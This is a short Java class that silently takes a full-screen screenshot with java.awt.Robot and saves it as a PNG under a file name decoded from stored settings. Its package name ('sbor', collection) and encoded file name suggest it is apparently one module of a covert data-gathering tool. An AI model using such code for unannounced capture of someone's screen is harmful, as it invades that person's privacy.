package moduly.sbor;

import procat.ui.Nastroiki;

import javax.imageio.ImageIO;
import java.awt.*;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.IOException;


// работает

public class Skrin implements Runnable {

    private static void getSckrins() {
        Nastroiki nastr = new Nastroiki();


        if (!new File(Nastroiki.getFolder()+nastr.decrName(nastr.getSkrin_name())).exists()) {
            try {
                Robot robot = new Robot();
                Rectangle screenRect = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
                BufferedImage screenFullImage = robot.createScreenCapture(screenRect);
                ImageIO.write(screenFullImage, "png", new File(Nastroiki.getFolder()+nastr.decrName(nastr.getSkrin_name())));
            } catch (AWTException | IOException ex) {
                System.out.println(ex.getMessage());
            }
        }
    }

    @Override
    public void run() {
        getSckrins();
    }
}

